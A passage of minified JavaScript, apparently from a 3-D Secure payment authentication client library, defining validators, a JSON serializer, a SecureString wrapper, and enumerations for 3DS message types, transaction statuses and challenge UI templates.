Failure.prototype.getFieldName=function(){return this.mFieldName};Failure.prototype.getFieldMetadata=function(){return this.mFieldMetadata};Failure.prototype.getAllArguments=function(){return this.mAllArguments};Failure.prototype.getFailedProperties=function(){return this.mFailedProperties};ValidationResult.Failure=Failure;Filter.prototype=NDObject.create(ValidationResult.prototype);Filter.prototype.isSuccess=function(){return ValidationResult.prototype.isSuccess.call(this)&&this.mFilteredValueSet};
Filter.prototype.isNonNullSuccess=function(){return this.isSuccess()&&null!==ObjectUtils.normalize(this.mFilteredValue)};Filter.prototype.getFilteredValue=function(){if(!this.isSuccess())throw new TypeError("Cannot get filtered value on unsuccessful validation");if(!this.mFilteredValueSet)throw new TypeError("Filtered value has not been set");return this.mFilteredValue};Filter.prototype.setFilteredValue=function(a){this.mFilteredValue=a;this.mFilteredValueSet=!0};ValidationResult.Filter=Filter;
CustomConvertible.prototype=NDObject.create(ICustomConvertible.prototype);CustomConvertible.prototype.getValue=function(){return this.mValue};CustomConvertible.prototype.setValue=function(a){null==this.mRawValue&&null!=a&&(this.mRawValue=a);this.mValue=a};CustomConvertible.prototype.setRawValue=function(a){this.mRawValue=a};CustomConvertible.prototype.getRawValue=function(){return this.mRawValue};
CustomConvertible.prototype.getValueForSerialization=function(){var a=this.getValue();return null===ObjectUtils.normalize(a)?this.mRawValue:a};CustomConvertible.prototype.equals=function(a){if(this===a)return!0;if(null===ObjectUtils.normalize(a)||a.constructor!==this.constructor)return!1;a=a.getValue();return this.getValue()===a};CustomConvertible.prototype.toString=function(){return TextUtils.stringify(this.getValueForSerialization())};CustomConvertible.prototype.getAllowedProperties=function(){return[]};
StringValidator.prototype=NDObject.create(BaseValidator.prototype);
StringValidator.prototype.validate=function(a,b,c){var d=new ValidationResult;d.failIf(this._validateArguments(b,a));c=TextUtils.stringifyToCharSequence(c);var e=null===c?null:c.length,f=!1!==a[Property.ALLOW_EMPTY.toString()];if("undefined"!==typeof a[Property.LENGTH.toString()]){var g=a[Property.LENGTH.toString()];d.failIf(MathUtil.validateEqualOrNull(b,e,g,this._getFailingProperty(Property.LENGTH,f,g)),a)}"undefined"!==typeof a[Property.MIN_LENGTH.toString()]&&(g=a[Property.MIN_LENGTH.toString()],
d.failIf(MathUtil.validateGreaterThanEqualOrNull(b,e,g,this._getFailingProperty(Property.MIN_LENGTH,f,g)),a));"undefined"!==typeof a[Property.MAX_LENGTH.toString()]&&d.failIf(MathUtil.validateLessThanEqualOrNull(b,e,a[Property.MAX_LENGTH.toString()],Property.MAX_LENGTH),a);e=TextUtils.stringify(a[Property.FORMAT.toString()]);null!==c&&null!==e&&((c=TextUtils.copy(c))&&(new RegExp(e)).test(c)||d.fail(b,a,[Property.FORMAT]));return d};
function SecureString(a,b){CustomConvertible.call(this);b=b||null;this.mCryptoProvider=a||null;this.mCryptoType=CryptoType.INVALID;Interface.implement(this,ICopyable);Interface.implement(this,INonStringable);null!==ObjectUtils.normalize(b)&&this.encryptAndSet(b)}StringValidator.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};StringValidator.prototype._getFailingProperty=function(a,b,c){return b||1!==c?a:Property.ALLOW_EMPTY};
StringValidator.ALLOWED_PROPERTIES=[Property.LENGTH,Property.MIN_LENGTH,Property.MAX_LENGTH,Property.FORMAT,Property.ALLOW_EMPTY];IllegalArgumentException.prototype=NDObject.create(BaseException.prototype);CryptoType.PLAIN_TEXT=new CryptoType;CryptoType.BASE64=new CryptoType;CryptoType.INVALID=new CryptoType;JsonDecodeException.prototype=NDObject.create(BaseException.prototype);function MapContainerValidator(a,b,c){BaseContainerValidator.call(this,a,b,c,!0)}
function Phone(a){CustomConvertible.call(this);this.mDefaultRegion="US";this.setRawValue(a||null)}SecureString.prototype=NDObject.create(CustomConvertible.prototype);SecureString.prototype.setCryptoProvider=function(a){this.mCryptoProvider=a};SecureString.prototype.toString=function(){throw new TypeError;};
SecureString.prototype.encryptAndSet=function(a,b){b=b||null;null===ObjectUtils.normalize(this.mCryptoProvider)||this.mCryptoProvider.getEncryptionType();this.mCryptoType=b;switch(b){case CryptoType.BASE64:var c=null;break;case CryptoType.PLAIN_TEXT:c=null===ObjectUtils.normalize(a)?null:a;break;default:c=null}CustomConvertible.prototype.setValue.call(this,this.getEncryptionString(b,c))};
SecureString.prototype.copy=function(){var a=new SecureString(this.mCryptoProvider);a.mCryptoType=this.mCryptoType;a.setRawValue(this.getValue());return a};SecureString.prototype.isEncrypted=function(a){a=a||this.mCryptoType;return a!==CryptoType.PLAIN_TEXT};SecureString.prototype.setValue=function(){throw new TypeError("setValue is not supported. Use encryptAndSet.");};
SecureString.prototype.setRawValue=function(a){CustomConvertible.prototype.setValue.call(this,a);CustomConvertible.prototype.setRawValue.call(this,a)};SecureString.prototype.validate=function(){return new ValidationResult};SecureString.prototype.getValueForSerialization=function(){try{return CustomConvertible.prototype.getValueForSerialization.call(this)}finally{this.mCryptoType=CryptoType.INVALID,this.setRawValue(null),CustomConvertible.prototype.setValue.call(this,null)}};
function APIResponse(){HTTPLimitedTimingData.call(this);Interface.implement(this,ISyncable)}SecureString.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};JsonSerializer.FIXED_DIGITS=20;
JsonSerializer.prototype.readMapIntoInstance=function(a,b,c){var d=a.getFieldMetadata(),e;for(e in b)if(b.hasOwnProperty(e)){var f=b[e],g=e in d?d[e]:null;null!==g&&TextUtils.isEmpty(g.getSerializationTarget())&&this.injectValueIntoInstance(a,g,f,c)}this.readMapIntoInstanceTargets(a,d,b,c)};
JsonSerializer.prototype.readMapIntoInstanceTargets=function(a,b,c,d){for(var e in b)if(b.hasOwnProperty(e)){var f=b[e],g=f.getSerializationTarget(),k=f.getValue(a);null===ObjectUtils.normalize(k)&&(k=f.initValue(null),Interface.isInstanceOf(k,IMetadataProvider)&&f.setValue(a,k));Interface.isInstanceOf(k,IMetadataProvider)&&this.readMapIntoInstanceTargets(k,k.getFieldMetadata(),c,d);TextUtils.isEmpty(g)||(g=this.extractValue(a,f,g,d),this.injectValueIntoInstance(a,f,g,d))}};
JsonSerializer.prototype.extractValue=function(a,b,c,d){if(!c||1>c.length)return null;c=c.split(".");for(var e=null,f=0;null===e&&f<c.length;f++){var g=d[c[f]];null!==ObjectUtils.normalize(g)&&(f===c.length-1?e=g:"object"!==typeof g||Array.isArray(g)?(a.markAsMalformed(b),e=null):d=g)}return e};
JsonSerializer.prototype.injectValueIntoInstance=function(a,b,c,d){if(this.checkDataType(b,a,c)&&!ObjectUtils.isEmpty(c)){var e=b.getValue(a),f=e,g=b.initValue(c);null!==ObjectUtils.normalize(g)&&!this.isContainer(e)&&b.isSerializationEnabled()&&(b.setValue(a,g),f=g);Interface.isInstanceOf(f,IMetadataProvider)&&b.isDcoSyncEnabled()&&"object"===typeof c&&null!==c&&!Array.isArray(c)?(this.readFromMetadataProviderIntoInstance(f,d,c),FieldMetadata.SetterResult.FAILURE===b.setValue(a,this.prepareValue(f,
b.getFieldType()))&&a.markAsMalformed(b)):Array.isArray(e)?Array.isArray(c)&&this.readFromListIntoInstance(a,c,d,b):ObjectUtils.isMap(e)?ObjectUtils.isMap(c)&&this.readFromMapIntoInstance(a,c,d,b):FieldMetadata.SetterResult.FAILURE===b.setValue(a,this.prepareValue(f,b.getFieldType()))&&a.markAsMalformed(b)}};JsonSerializer.prototype.isContainer=function(a){return"object"===typeof a&&null!==a};
JsonSerializer.prototype.checkDataType=function(a,b,c){var d=null===ObjectUtils.normalize(a)?null:a.getValue(b),e=null===ObjectUtils.normalize(a)||this.isContainer(d)||a.isDcoSyncEnabled()||Init.Type.Object===a.getFieldType();(c=null!==ObjectUtils.normalize(a)&&a.isSerializationEnabled()&&null!=ObjectUtils.normalize(c)?Array.isArray(d)&&!Array.isArray(c)?!1:"object"!==typeof d||null===d||Array.isArray(d)||"object"===typeof c&&null!==d&&!Array.isArray(c)?e||!this.isContainer(c)||Interface.isInstanceOf(a.initValue(null),
ICustomConvertible):!1:!0)||b.markAsMalformed(a);return c};JsonSerializer.prototype.prepareValue=function(a,b){var c=a;"number"!==typeof a||isNaN(a)||(Init.Type.Double===b?c=a.toFixed(JsonSerializer.FIXED_DIGITS):Init.Type.Integer===b&&(c=a.toFixed(0)));return c};
JsonSerializer.prototype.readFromListIntoInstance=function(a,b,c,d){for(var e in b)if(b.hasOwnProperty(e)){var f=b[e],g=d.initValue(this.prepareValue(f,d.getFieldType()));Interface.isInstanceOf(g,IMetadataProvider)&&d.isDcoSyncEnabled()&&this.readFromMetadataProviderIntoInstance(g,c,f);FieldMetadata.SetterResult.FAILURE===d.setValue(a,this.prepareValue(g,d.getFieldType()))&&a.markAsMalformed(d)}};
JsonSerializer.prototype.readFromMapIntoInstance=function(a,b,c,d){for(var e in b)if(b.hasOwnProperty(e)){var f=b[e],g=d.initValue(this.prepareValue(f,d.getFieldType()));Interface.isInstanceOf(g,IMetadataProvider)&&d.isDcoSyncEnabled()&&this.readFromMetadataProviderIntoInstance(g,c,f);FieldMetadata.SetterResult.FAILURE===d.setValue(a,[TextUtils.stringify(e),this.prepareValue(g,d.getFieldType())])&&a.markAsMalformed(d)}};
JsonSerializer.prototype.readFromMetadataProviderIntoInstance=function(a,b,c){this.readMapIntoInstance(a,c,b)};
JsonSerializer.prototype.toMap=function(a,b,c){var d=a.getFieldMetadata(),e;for(e in d)if(d.hasOwnProperty(e)){var f=d[e];if(f.isSerializationEnabled()){var g=f.getValue(a);if(null!==ObjectUtils.normalize(g)){var k=f.getSerializationTarget(),h=b[e];h="object"!==typeof h||null===h||Array.isArray(h)?{}:h;g=this.toSerializable(g,h,c);ObjectUtils.isEmptyMap(h)||(g.object=h);if(f.isSerializationEnabled()&&null!==ObjectUtils.normalize(g.object))if(TextUtils.isEmpty(k))b[e]=g.object;else for(f=k.split("."),
h=c,k=0;k<f.length;k++)if(k===f.length-1)h[f[k]]=g.object;else{var m=h[f[k]];m="object"!==typeof m||null===m||Array.isArray(m)?{}:m;h=h[f[k]]=m}}}}};function Convertible(){IMetadataProvider.call(this);this.mMalformedFields=[]}
JsonSerializer.prototype.toSerializable=function(a,b,c){var d=new Serializable;a=null!==ObjectUtils.normalize(this.mValueProcessor)?this.mValueProcessor(a):a;Interface.isInstanceOf(a,Enumerable)?d.object=a.toString():Interface.isInstanceOf(a,IMetadataProvider)?(this.toMap(a,b,c),d.object=null):ObjectUtils.isMap(a)?d.object=this.toSerializableMap(a,c):ObjectUtils.isArray(a)?d.object=this.toSerializableList(a,c):null!==ObjectUtils.normalize(a)&&(d.object=a);return d};
JsonSerializer.prototype.toSerializableList=function(a,b){var c=[],d;for(d in a)if(a.hasOwnProperty(d)){var e={},f=this.toSerializable(a[d],e,b).object;ObjectUtils.isEmptyMap(e)?ObjectUtils.isEmpty(f)||c.push(f):c.push(e)}return 0===c.length?null:c};
JsonSerializer.prototype.toSerializableMap=function(a,b){var c={},d;for(d in a)if(a.hasOwnProperty(d)){var e={},f=this.toSerializable(a[d],e,b).object;ObjectUtils.isEmptyMap(e)?ObjectUtils.isEmpty(f)||(c[TextUtils.stringify(d)]=f):c[TextUtils.stringify(d)]=e}return ObjectUtils.isEmptyMap(c)?null:c};JsonSerializer.toJson=function(a,b){return JSON.stringify(JsonSerializer.toMap(a,b)).replace(/=/g,"\\u003d")};
JsonSerializer.readJsonIntoInstance=function(a,b){var c=null;try{c=JSON.parse(b)}catch(d){throw new JsonDecodeException(d.message,d);}if(null===c)throw new JsonDecodeException("JSON decode produced a NULL result.");(new JsonSerializer).readMapIntoInstance(a,c,c)};JsonSerializer.toMap=function(a,b){var c={};(new JsonSerializer(function(a){a=b?b(a):a;return Interface.isInstanceOf(a,ICustomConvertible)?a.getValueForSerialization():a})).toMap(a,c,c);return c};JsonSerializer.Serializable=Serializable;
var MetadataUtils={isInstanceOf:function(a,b,c){switch(c){case "Bool":return"boolean"===typeof a;case "String":return"string"===typeof a;case "Int":case "Double":return"number"===typeof a;case "Object":return null!==ObjectUtils.normalize(a);default:return a instanceof b||Interface.isInstanceOf(a,b)}},getFieldPath:function(a,b,c){b=a.isSerializationEnabled()?TextUtils.concat(".",[b,c]):b;a=a.getSerializationTarget();return TextUtils.isEmpty(a)?b:a}};Convertible.prototype=NDObject.create(IMetadataProvider.prototype);
function ThreeDSResponse(a,b){this.encodedBody=a;this.headers=b;this.decodedBody=null}function IntValidator(a){BaseValidator.call(this,a)}Convertible.prototype.toJson=function(){return JsonSerializer.toJson(this)};Convertible.prototype.toMap=function(){return JsonSerializer.toMap(this)};
Convertible.prototype.getProperties=function(){var a=[],b=this.getFieldMetadata(),c;for(c in b)if(b.hasOwnProperty(c)){var d=b[c];d.isSerializationEnabled()&&(d=d.getValue(this),a.push(ObjectUtils.isEmpty(d)?null:d))}return a};function ImageSizes(){Convertible.call(this);this.extraHigh=this.high=this.medium=null;Interface.implement(this,ISyncable)}Convertible.prototype.markAsMalformed=function(a){this.mMalformedFields.push(a)};
Convertible.prototype.getMalformedFields=function(a){var b={},c=this.getFieldMetadata(),d;for(d in c)if(c.hasOwnProperty(d)){var e=c[d],f=e.getSerializationTarget()||TextUtils.concat(".",[a,d]);if(-1!==this.mMalformedFields.indexOf(e))b[f]=e;else if(e=e.getValue(this),Interface.isInstanceOf(e,IMetadataProvider)){f=e.getMalformedFields(f);for(var g in f)f.hasOwnProperty(g)&&(b[g]=f[g])}}return b};
Convertible.prototype.isEmpty=function(){var a=this.getProperties(),b;for(b in a)if(a.hasOwnProperty(b)&&!ObjectUtils.isEmpty(a[b]))return!1;return!0};UUID.prototype=NDObject.create(CustomConvertible.prototype);UUID.prototype.getUUID=function(){return this.getValue()};function ValidationException(a,b,c){c=c||null;BaseException.call(this,ValidationException.formatMessage(a,b),c)}UUID.prototype.setUUID=function(a){this.setValue(a)};
UUID.prototype.validate=function(a,b){var c=new ValidationResult,d=TextUtils.stringify(this.getRawValue());TextUtils.isEmpty(d)?c.fail(a,b,[Property.ALLOW_EMPTY]):(c.failIf((new StringValidator(a)).validate(BaseValidator.sliceArguments(b,StringValidator.ALLOWED_PROPERTIES),a,d),b),/^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/.test(d)||c.fail(a,b,[Property.FORMAT]));return c};
UUID.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(TextUtils.stringify(a))};UUID.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};URL.prototype=NDObject.create(CustomConvertible.prototype);URL.prototype.validate=function(){return new ValidationResult};URL.prototype.setUrl=function(a){this.setRawValue(a)};URL.prototype.setRawValue=function(a){CustomConvertible.prototype.setRawValue.call(this,a);this.setValue(a)};
URL.prototype.getAllowedProperties=function(){return StringValidator.ALLOWED_PROPERTIES};function BaseContainerValidator(a,b,c,d){BaseValidator.call(this,a,d);if(!c)throw Error("Manager cannot be null");this.mObjectElementValidator=new ObjectValidator(a,c);this.mManager=c;this.mMetadata=b}MessageVersionType.prototype=NDObject.create(Enumerable.prototype);MessageVersionType.VALUES={};
MessageVersionType.fromString=function(a){if("undefined"===typeof MessageVersionType.VALUES[a])throw new IllegalArgumentException("value is not a valid MessageVersionType value.");return MessageVersionType.VALUES[a]};MessageVersionType.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof MessageVersionType.VALUES[a]?new MessageVersionType(TextUtils.stringify(a),!1):MessageVersionType.VALUES[a]};MessageVersionType.V2_0_0=new MessageVersionType("2.0.0",!0);
MessageVersionType.V2_1_0=new MessageVersionType("2.1.0",!0);MessageVersionType.V2_2_0=new MessageVersionType("2.2.0",!0);MsgType.prototype=NDObject.create(Enumerable.prototype);MsgType.VALUES={};MsgType.fromString=function(a){if("undefined"===typeof MsgType.VALUES[a])throw new IllegalArgumentException("value is not a valid MsgType value.");return MsgType.VALUES[a]};
MsgType.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof MsgType.VALUES[a]?new MsgType(TextUtils.stringify(a),!1):MsgType.VALUES[a]};MsgType.A_REQ=new MsgType("AReq",!0);MsgType.A_RES=new MsgType("ARes",!0);MsgType.C_REQ=new MsgType("CReq",!0);MsgType.C_RES=new MsgType("CRes",!0);MsgType.P_REQ=new MsgType("PReq",!0);MsgType.P_RES=new MsgType("PRes",!0);MsgType.R_REQ=new MsgType("RReq",!0);MsgType.R_RES=new MsgType("RRes",!0);MsgType.ERRO=new MsgType("Erro",!0);
TransactionStatus.prototype=NDObject.create(Enumerable.prototype);TransactionStatus.VALUES={};TransactionStatus.fromString=function(a){if("undefined"===typeof TransactionStatus.VALUES[a])throw new IllegalArgumentException("value is not a valid TransactionStatus value.");return TransactionStatus.VALUES[a]};TransactionStatus.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof TransactionStatus.VALUES[a]?new TransactionStatus(TextUtils.stringify(a),!1):TransactionStatus.VALUES[a]};
TransactionStatus.SUCCESS=new TransactionStatus("Y",!0);TransactionStatus.NOT_AUTHENTICATED=new TransactionStatus("N",!0);TransactionStatus.AUTHENTICATION_NOT_PERFORMED=new TransactionStatus("U",!0);function FieldMetadata(){this.mValidatorMetadata=[];this.mFieldType=this.mValueInitializer=this.mValueSetter=this.mValueRetriever=null;this.mSerializationEnabled=this.mDcoSyncEnabled=!1;this.mSerializationTarget=null}TransactionStatus.ATTEMPTS_PROCESSING_PERFORMED=new TransactionStatus("A",!0);
TransactionStatus.CHALLENGE_REQUIRED=new TransactionStatus("C",!0);TransactionStatus.DECOUPLED_AUTHENTICATION=new TransactionStatus("D",!0);TransactionStatus.REJECTED=new TransactionStatus("R",!0);TransactionStatus.INFORMATIONAL_ONLY=new TransactionStatus("I",!0);TransactionStatus.CHALLENGE_SUPPRESSED=new TransactionStatus("ND-S",!0);ValidationException.prototype=NDObject.create(BaseException.prototype);
ValidationException.formatMessage=function(a,b){null===ObjectUtils.normalize(b)&&(b="Unknown error");return null===ObjectUtils.normalize(a)?"Validation failed: "+b:"Validation failed on "+a+": "+b};HTTPLimitedTimingData.prototype=NDObject.create(Convertible.prototype);HTTPLimitedTimingData.prototype.getFieldMetadata=function(){return HTTPLimitedTimingData.FieldMetadata};HTTPLimitedTimingData.prototype.getConnectTimeMS=function(){return this.connectTimeMS};
HTTPLimitedTimingData.prototype.setConnectTimeMS=function(a){this.connectTimeMS=a};HTTPLimitedTimingData.prototype.getReadTimeMS=function(){return this.readTimeMS};HTTPLimitedTimingData.prototype.setReadTimeMS=function(a){this.readTimeMS=a};HTTPLimitedTimingData.FieldMetadata={};for(var key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(HTTPLimitedTimingData.FieldMetadata[key]=Convertible.FieldMetadata[key]);
HTTPLimitedTimingData.FieldMetadata.connectTimeMS=(new FieldMetadata).setValueRetriever(function(a){return a instanceof HTTPLimitedTimingData?a.getConnectTimeMS():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof HTTPLimitedTimingData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,void 0,"Int")&&(a.setConnectTimeMS(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
void 0,"Int")?a:null}).setFieldType(Init.Type.Int).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
HTTPLimitedTimingData.FieldMetadata.readTimeMS=(new FieldMetadata).setValueRetriever(function(a){return a instanceof HTTPLimitedTimingData?a.getReadTimeMS():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof HTTPLimitedTimingData&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,void 0,"Int")&&(a.setReadTimeMS(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,void 0,
"Int")?a:null}).setFieldType(Init.Type.Int).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());ACSUITemplate.prototype=NDObject.create(Enumerable.prototype);ACSUITemplate.VALUES={};function Failure(a,b,c){this.mFieldName=a;this.mFieldMetadata=null;this.mAllArguments=null===ObjectUtils.normalize(b)?{}:b;this.mFailedProperties=null===ObjectUtils.normalize(c)?[]:c}
ACSUITemplate.fromString=function(a){if("undefined"===typeof ACSUITemplate.VALUES[a])throw new IllegalArgumentException("value is not a valid ACSUITemplate value.");return ACSUITemplate.VALUES[a]};ACSUITemplate.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof ACSUITemplate.VALUES[a]?new ACSUITemplate(TextUtils.stringify(a),!1):ACSUITemplate.VALUES[a]};ACSUITemplate.TEXT=new ACSUITemplate("01",!0);ACSUITemplate.SINGLE_SELECT=new ACSUITemplate("02",!0);
ACSUITemplate.MULTI_SELECT=new ACSUITemplate("03",!0);ACSUITemplate.OOB=new ACSUITemplate("04",!0);ACSUITemplate.HTML_OTHER=new ACSUITemplate("05",!0);function DoubleValidator(a){BaseValidator.call(this,a)}ACSUITemplate.RESERVED80=new ACSUITemplate("80",!0);ACSUITemplate.RESERVED81=new ACSUITemplate("81",!0);ACSUITemplate.RESERVED82=new ACSUITemplate("82",!0);ACSUITemplate.RESERVED83=new ACSUITemplate("83",!0);ACSUITemplate.RESERVED84=new ACSUITemplate("84",!0);
ACSUITemplate.RESERVED85=new ACSUITemplate("85",!0);ACSUITemplate.RESERVED86=new ACSUITemplate("86",!0);ACSUITemplate.RESERVED87=new ACSUITemplate("87",!0);ACSUITemplate.RESERVED88=new ACSUITemplate("88",!0);ACSUITemplate.RESERVED89=new ACSUITemplate("89",!0);ACSUITemplate.RESERVED90=new ACSUITemplate("90",!0);ACSUITemplate.RESERVED91=new ACSUITemplate("91",!0);function StringValidator(a){BaseValidator.call(this,a)}ACSUITemplate.RESERVED92=new ACSUITemplate("92",!0);
function BrowserColorDepthType(a,b){Enumerable.call(this,a,BrowserColorDepthType.VALUES,b);b&&(BrowserColorDepthType.VALUES[a]=this)}ACSUITemplate.RESERVED93=new ACSUITemplate("93",!0);ACSUITemplate.RESERVED94=new ACSUITemplate("94",!0);ACSUITemplate.RESERVED95=new ACSUITemplate("95",!0);ACSUITemplate.RESERVED96=new ACSUITemplate("96",!0);ACSUITemplate.RESERVED97=new ACSUITemplate("97",!0);ACSUITemplate.RESERVED98=new ACSUITemplate("98",!0);ACSUITemplate.RESERVED99=new ACSUITemplate("99",!0);
MessageExtensionAttributes.prototype=NDObject.create(Convertible.prototype);MessageExtensionAttributes.prototype.getFieldMetadata=function(){return MessageExtensionAttributes.FieldMetadata};MessageExtensionAttributes.prototype.getCriticalityIndicator=function(){return this.criticalityIndicator};MessageExtensionAttributes.prototype.setCriticalityIndicator=function(a){this.criticalityIndicator=a};function IP(a){CustomConvertible.call(this);this.setValue(a||null)}
MessageExtensionAttributes.prototype.getData=function(){return this.data};MessageExtensionAttributes.prototype.setData=function(a){this.data=a};MessageExtensionAttributes.prototype.getId=function(){return this.id};MessageExtensionAttributes.prototype.setId=function(a){this.id=a};MessageExtensionAttributes.prototype.getName=function(){return this.name};MessageExtensionAttributes.prototype.setName=function(a){this.name=a};
MessageExtensionAttributes.fromJson=function(a){var b=new MessageExtensionAttributes;JsonSerializer.readJsonIntoInstance(b,a);return b};MessageExtensionAttributes.fromMap=function(a){var b=new MessageExtensionAttributes;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};MessageExtensionAttributes.FieldMetadata={};for(key in Convertible.FieldMetadata)Convertible.FieldMetadata.hasOwnProperty(key)&&(MessageExtensionAttributes.FieldMetadata[key]=Convertible.FieldMetadata[key]);
MessageExtensionAttributes.FieldMetadata.criticalityIndicator=(new FieldMetadata).setValueRetriever(function(a){return a instanceof MessageExtensionAttributes?a.getCriticalityIndicator():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof MessageExtensionAttributes&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,void 0,"Bool")&&(a.setCriticalityIndicator(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
void 0,"Bool")?a:null}).enableSerialization().setFieldType(Init.Type.Bool).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
MessageExtensionAttributes.FieldMetadata.data=(new FieldMetadata).setValueRetriever(function(a){return a instanceof MessageExtensionAttributes?a.getData():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof MessageExtensionAttributes&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,Object,"Object")&&(a.setData(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,Object,
"Object")?a:null}).enableSerialization().setFieldType(Init.Type.Object).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
function ThreeDSWidget(a){a=/^(((([^:\/#\?]+:)?(?:(\/\/)((?:(([^:@\/#\?]+)(?::([^:@\/#\?]+))?)@)?(([^:\/#\?\]\[]+|\[[^\/\]@#?]+\])(?::([0-9]+))?))?)?)?((\/?(?:[^\/\?#]+\/+)*)([^\?#]*)))?(\?[^#]+)?)(#.*)?/.exec(a);var b=null;null!==a&&(b={href:a[0],withoutHash:a[1],url:a[2],origin:a[3],protocol:a[4],protocolseparator:a[5],credhost:a[6],cred:a[7],user:a[8],pass:a[9],host:a[10],hostname:a[11],port:a[12],pathname:a[13],segment1:a[14],segment2:a[15],search:a[16],hash:a[17]});a=b;this.mHost=a.origin;this.mAPI=
a.pathname;this.authenticationResponse=this.threeDSServerTransID=null}
MessageExtensionAttributes.FieldMetadata.id=(new FieldMetadata).setValueRetriever(function(a){return a instanceof MessageExtensionAttributes?a.getId():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof MessageExtensionAttributes&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setId(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.ALLOW_EMPTY,!1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,64).addProperty(Property.MIN_LENGTH,1).build());
MessageExtensionAttributes.FieldMetadata.name=(new FieldMetadata).setValueRetriever(function(a){return a instanceof MessageExtensionAttributes?a.getName():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof MessageExtensionAttributes&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setName(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,
"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,64).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
MathUtil.validateIntegerOrNull=function(a,b){return MathUtil._validateNumberOrNull(a,b,Type.Integer)};MathUtil.validateDoubleOrNull=function(a,b){return MathUtil._validateNumberOrNull(a,b,Type.Double)};
MathUtil.validateEqualOrNull=function(a,b,c,d){var e=new ValidationResult;b=MathUtil.validateDoubleOrNull(a,b);c=MathUtil.validateDoubleOrNull(a,c);e.failIf(b);e.failIf(c);if(b.isNonNullSuccess()&&c.isNonNullSuccess()){var f="undefined"!==typeof Number&&"undefined"!==typeof Number.EPSILON?Number.EPSILON:Math.pow(2,-52);Math.abs(b.getFilteredValue()-c.getFilteredValue())>=f&&e.fail(a,null,[d])}return e};
MathUtil.validateGreaterThanEqualOrNull=function(a,b,c,d){var e=new ValidationResult;b=MathUtil.validateDoubleOrNull(a,b);c=MathUtil.validateDoubleOrNull(a,c);e.failIf(b);e.failIf(c);b.isNonNullSuccess()&&c.isNonNullSuccess()&&b.getFilteredValue()<c.getFilteredValue()&&e.fail(a,null,[d]);return e};
MathUtil.validateLessThanEqualOrNull=function(a,b,c,d){var e=new ValidationResult;b=MathUtil.validateDoubleOrNull(a,b);c=MathUtil.validateDoubleOrNull(a,c);e.failIf(b);e.failIf(c);b.isNonNullSuccess()&&c.isNonNullSuccess()&&b.getFilteredValue()>c.getFilteredValue()&&e.fail(a,null,[d]);return e};function MessageVersionType(a,b){Enumerable.call(this,a,MessageVersionType.VALUES,b);b&&(MessageVersionType.VALUES[a]=this)}
